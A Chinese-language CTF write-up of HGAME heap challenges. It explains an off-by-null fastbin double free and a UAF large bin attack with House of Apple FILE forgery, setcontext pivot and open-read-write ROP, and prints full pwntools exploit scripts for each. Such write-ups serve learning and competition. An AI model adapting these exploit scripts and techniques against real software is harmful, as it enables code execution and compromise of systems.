summ2#0x28

Signin2Heap

Vulnerabilities

```
printf("Content: ");
size_4 = read(0, *((void **)&books + v2), size);
*(_BYTE *)(*((_QWORD *)&books + v2) + size_4) = 0;
}
```

存在 off-by-null 漏洞，当 `prev_size` 域复用时，可置零相邻 chunk 的 `prev_inuse` 位。

```
if ( size <= 0xFF )
  break;
puts("Too big!");
}
```

只能申请至多 `0xFF` 大小的堆块，考虑 fastbin attack。

Exploit

由于程序没有编辑功能，只能使用 add 功能修改堆数据。布置大小分别为 `0xf0`，`0x68`，`0xf0` 的三个堆块，然后将 `0xf0` 大小的 `tcache bin` 填满。此时释放 chunk 0，将进入 `unsorted bin` 。为了泄露出libc有关地址，我们需要利用 show 功能输出 freed chunk 上的指针(即 `fd`)。通过如下操作可以实现类似 UAF 的效果：

- 修改 chunk 2 的 `prev_size` 和 `prev_inuse` ；
- 释放 chunk 2，引起向后合并，此时堆管理器认为 chunk 0 ~ chunk 2 都已经为空闲状态，放入 `unsorted bin` ；
- 先清空优先级更高的 `tcache bin` ，然后申请 chunk 0 大小的堆，从 `unsorted bin` 中取，此时 fd 移动到 chunk 0 的后面。

经过以上操作后，chunk 1 的位置恰好是 `unsorted bin` 的头部。但同时程序逻辑上 chunk 1 并没有被释放，引起了 UAF，double free。

再次填满 `tcache bin` ，利用 fastbin double free 可实现任意写。

```
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",32253)
e = ELF("./vuln")
libc = ELF("./libc-2.27.so")
def add(index,size,content):
    p.sendafter("Your choice:",b"\x01\x00")
    p.sendlineafter("Index:",str(index))
    p.sendlineafter("Size: ",str(size))
    p.sendafter("Content: ",content)
def show(index):
    p.sendafter("Your choice:",b"\x03\x00")
    p.sendlineafter("Index:",str(index))
def dele(index):
    p.sendafter("Your choice:",b"\x02\x00")
    p.sendlineafter("Index:",str(index))
add(0,0xf0,'a')
add(1,0x68,'a')
```

```
add(2,0xf0,'b')
for i in range(3,10):
  add(i,0xf0,'a')
for i in range(3,10): #fill tcache
   dele(i)
dele(0)
dele(1)
add(1,0x68,b'a'*0x60+p64(0x170))
dele(2)
for i in range(3,10):
  add(i,0xf0,'a')
add(0,0xf0,'a')
show(1)
main_arena = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = main_arena - 0x3ebca0
log.info(hex(libc_base))
free_hook = libc_base + libc.symbols['__free_hook']
one_gadget = libc_base + 0x4f302
add(11,0x30,'a')
add(12,0x30,'a')
for i in range(3,10):
    dele(i)
for i in range(3,10):
    add(i,0x30,'a')
for i in range(3,10): #fill tcache
    dele(i)
dele(11)
dele(12) #a padding chunk
dele(1) #fastbin double free
for i in range(3,10):
    add(i,0x30,'a') #clear tcache
add(1,0x30,p64(free_hook))
add(12,0x30,'qaq')
add(11,0x30,'qaq') #clear padding chunk
add(13,0x30,p64(one_gadget)) #a chunk at <__free_hook>
dele(0)
p.interactive()
```

Where is the vulnerability

```
GNU C Library (Ubuntu GLIBC 2.39-0ubuntu8.3) stable release version 2.39.
Compiled by GNU CC version 13.2.0.
```

第一次打这么高版本的 libc（原谅我当时脑抽看成2.29，一堆老漏洞用了半天发现不行hhh）

```
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x35 0x03 0x00 0x40000000  if (A >= 0x40000000) goto 0005
 0002: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0005
 0003: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0005
 0004: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0005: 0x06 0x00 0x00 0x00000000  return KILL
```

禁用 `execve`

Vulnerabilities

```
if ( notes[v1] )
  free((void *)notes[v1]);
else
  puts("Page not found.");
```

明显的 UAF 漏洞。

```
if ( size[0] <= 0x900u )
{
  if ( size[0] > 0x4FFu )
  {
    v0 = v2;
    notes[v0] = malloc(size[0]);
    note_size[v2] = size[0];
  }
```

只能申请 `0x500 ~ 0x900` 大小的堆，考虑 large bin attack。

Exploit

堆块大小限制导致我们只能使用 `unsorted bin` 和 `large bin`，即使通过 UAF 漏洞可以修改堆上的 `size` 从而使其进入 `tcache bin` ，但是不能重新申请进行利用。

显而易见的，可以利用 `unsorted bin` 的特性快速得到 libc 基址。

同时，布置后续的堆块，以进行 large bin attack。

large bin attack的操作简要描述如下，当然在 how2heap 中有更好更详细的描述：

- 申请两个 chunk，且大小不相同，并在其之后都申请任意大小的堆块，防止释放后合并；
- 释放 chunk 0；
- 申请一个大于 chunk 0 大小的堆，chunk 0 将进入 `large bin`；
- 释放 chunk 2；
- 修改 chunk 0 的 `bk_nextsize` 为 `target - 0x20{sizeof(prev_size + fd + bk + fd_nextsize)}` 。
- 重复第三步，chunk 2 将进入 `large bin` ，由于 chunk 2 更小，导致操作 `bk_nextsize->fd_nextsize = &chunk2`。

此时就在目标位置写入了 chunk 2 的 `prev_size` 地址。

通过一种叫做 House of apple 的方式，就可以攻击IO，劫持程序执行流。

在泄露出 libc 地址后，进而得到 `IO_list_all` 的地址，利用 large bin attack 将 chunk 地址写入，之后在 chunk 2 上伪造 FILE 结构体。

原理部分请自行查找（毕竟我还没完全弄明白）。我们主要关注伪造IO的最后一行，它可以让我们跳转到一个地址，即控制一次 `$RIP` 。我们的目的是找到一个 gadget，帮助我们实现栈迁移，执行 ROP 链。

可以利用的 gadget 如下：

```
0x176f0e <__rpc_thread_key_cleanup+46>:      mov    rdx,QWORD PTR [rax+0x38]
0x176f12 <__rpc_thread_key_cleanup+50>:      mov    rdi,rax
0x176f15 <__rpc_thread_key_cleanup+53>:      call   QWORD PTR [rdx+0x20]
```

动态调试可以发现 `$rax` 指向 fake_io 有关地址，因此可以改变 `$rdx` 的值。

将 `$rdx` 改为一处可读写段，执行下一段 gadget：

```
0x4a98d <setcontext+61>:     mov    rsp,QWORD PTR [rdx+0xa0]
0x4a994 <setcontext+68>:     mov    rbx,QWORD PTR [rdx+0x80]
0x4a99b <setcontext+75>:     mov    rbp,QWORD PTR [rdx+0x78]
0x4a99f <setcontext+79>:     mov    r12,QWORD PTR [rdx+0x48]
0x4a9a3 <setcontext+83>:     mov    r13,QWORD PTR [rdx+0x50]
0x4a9a7 <setcontext+87>:     mov    r14,QWORD PTR [rdx+0x58]
0x4a9ab <setcontext+91>:     mov    r15,QWORD PTR [rdx+0x60]
0x4a9af <setcontext+95>:     test   DWORD PTR fs:0x48,0x2
0x4a9bb <setcontext+107>:    je     0x4aa76 <setcontext+294>
```

```
0x4aa76 <setcontext+294>:    mov    rcx,QWORD PTR [rdx+0xa8]
0x4aa7d <setcontext+301>:    push   rcx
0x4aa7e <setcontext+302>:    mov    rsi,QWORD PTR [rdx+0x70]
0x4aa82 <setcontext+306>:    mov    rdi,QWORD PTR [rdx+0x68]
0x4aa86 <setcontext+310>:    mov    rcx,QWORD PTR [rdx+0x98]
0x4aa8d <setcontext+317>:    mov    r8,QWORD PTR [rdx+0x28]
0x4aa91 <setcontext+321>:    mov    r9,QWORD PTR [rdx+0x30]
0x4aa95 <setcontext+325>:    mov    rdx,QWORD PTR [rdx+0x88]
0x4aa9c <setcontext+332>:    xor    eax,eax
0x4aa9e <setcontext+334>:    ret
```

修改 `$rsp` 实现栈迁移，注意在后面会将 `$rcx=[rdx+0xa8]` 入栈，改为一个对后续无影响的可执行地址即可，或者 ROP 的第一个地址。

最后进入 `exit()` 触发相关调用链，执行 orw（如此有仪式感的操作自然是手动完成）。

```python
from pwn import *
context.log_level ="debug"
p = remote("node1.hgame.vidar.club",31067)
e = ELF("./vuln")
libc = ELF("./libc.so.6")


def add(index,size):
    p.sendlineafter("5. Exit",b"1")
    p.sendlineafter("Index:",str(index))
    p.sendlineafter("Size: ",str(size))
def show(index):
    p.sendlineafter("5. Exit",b"4")
    p.sendlineafter("Index:",str(index))
def dele(index):
    p.sendlineafter("5. Exit",b"2")
    p.sendlineafter("Index:",str(index))
def edit(index,content):
    p.sendlineafter("5. Exit",b"3")
    p.sendlineafter("Index:",str(index))
    p.sendafter("Content: ",content)
```

```
add(0,0x528)
add(1,0x508) #prevent consolidating
add(2,0x518)
add(3,0x721)
dele(0)
show(0)


main_arena = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
libc_base = main_arena - 0x203b20
IO_list_all=libc_base+libc.symbols['_IO_list_all']
_IO_stdfile_2_lock=libc_base+0x205700

_open=libc_base+libc.sym['open']
_read=libc_base+libc.sym['read']
_write=libc_base+libc.sym['write']

pop_rdi = libc_base + 0x10f75b
pop_rsi = libc_base + 0x110a4d
pop_rdx = libc_base + 0x66b9a #pop rdx ; ret 0x19

gadget = libc_base + 0x176f0e
setcontext = libc_base + 0x4a98d
ret = libc_base + 0x2882f
log.info(hex(libc_base))


add(4,0x558)
dele(2)
show(0)
chunk_fd = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
edit(0,b'a'*16)
show(0)
fd_nextsize = u64(p.recvuntil('\x0a\x31',drop=True)[-6:].ljust(8, b'\x00'))
heap_base = fd_nextsize + 0x10
log.info(hex(heap_base))


edit(0,p64(chunk_fd)*2+p64(fd_nextsize)+p64(IO_list_all-0x20))
add(5,0x558) #large bin attack: write chunk address at target


orw_addr = heap_base + 0x1bf0
file_addr = heap_base + 0xa30
IO_wide_data_addr=file_addr
wide_vtable_addr=file_addr+0xe8-0x68

fake_io = b""
fake_io += p64(0)  # _IO_read_end
fake_io += p64(0)  # _IO_read_base
fake_io += p64(0)  # _IO_write_base
fake_io += p64(1)  # _IO_write_ptr
fake_io += p64(0)  # _IO_write_end
fake_io += p64(0)  # _IO_buf_base;
fake_io += p64(0)  # _IO_buf_end should usually be (_IO_buf_base + 1)
```

```
fake_io += p64(0)  # _IO_save_base
fake_io += p64(0)*3  # from _IO_backup_base to _markers
fake_io += p64(0)  # the FILE chain ptr
fake_io += p32(2)  # _fileno for stderr is 2
fake_io += p32(0)  # _flags2, usually 0
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _old_offset, -1
fake_io += p16(0)  # _cur_column
fake_io += b"\x00"  # _vtable_offset
fake_io += b"\n"  # _shortbuf[1]
fake_io += p32(0)  # padding
fake_io += p64(_IO_stdfile_2_lock)  # _IO_stdfile_1_lock
fake_io += p64(0xFFFFFFFFFFFFFFFF)  # _offset, -1
fake_io += p64(0)  # _codecvt, usually 0
fake_io += p64(IO_wide_data_addr)  # _IO_wide_data_1
fake_io += p64(0) * 2  # from _freeres_list to __pad5
fake_io += p64(orw_addr+0x100) #rdx value(__pad5)
fake_io += p32(0xFFFFFFFF)  # _mode, usually -1
fake_io += b"\x00" * 19  # _unused2
fake_io = fake_io.ljust(0xc8, b'\x00')  # adjust to vtable
fake_io += p64(libc_base+libc.sym['_IO_wfile_jumps'])  # fake vtable
fake_io += p64(wide_vtable_addr)
fake_io += p64(gadget) #set rdx
edit(2,fake_io)

orw_payload = flat({
    0x00: [
        p64(pop_rdi),
        p64(orw_addr+0x128),
        p64(pop_rsi),
        p64(0),
        p64(pop_rdx),
        p64(0),
        p64(_open), # open(./flag,0,0)
        b'a'*0x19, # padding
        p64(pop_rdi),
        p64(3),
        p64(pop_rsi),
        p64(orw_addr+0x200),
        p64(pop_rdx),
        p64(0x30),
        p64(_read), # read(3,buf,0x30)
        b'a'*0x19,
        p64(pop_rdi),
        p64(1),
        p64(pop_rsi),
        p64(orw_addr+0x200),
        p64(pop_rdx),
        p64(0x30),
        p64(_write), # write(1,buf,0x30)
        b'a'*0x19,
    ],
    0x120: [
        p64(setcontext),
        b'./flag\x00\x00',
    ],
    0x1a0: [
```

```
        p64(orw_addr), #rsp value
        p64(ret),
    ]
})
edit(5,orw_payload)
edit(1,b'a'*0x500+b' sh;') #reserved for debug, [$rdi]


p.interactive()
```

Hit list

很遗憾本题没有解出，因为前面较少接触的堆题耗费了我挺多心力的，到这已经没什么精力去做了。不过收获很多，是大于遗憾的。

明年见！

平台很好看，出题人很热心，题目很难（

```
hgame{see_you_next_year!!!}
```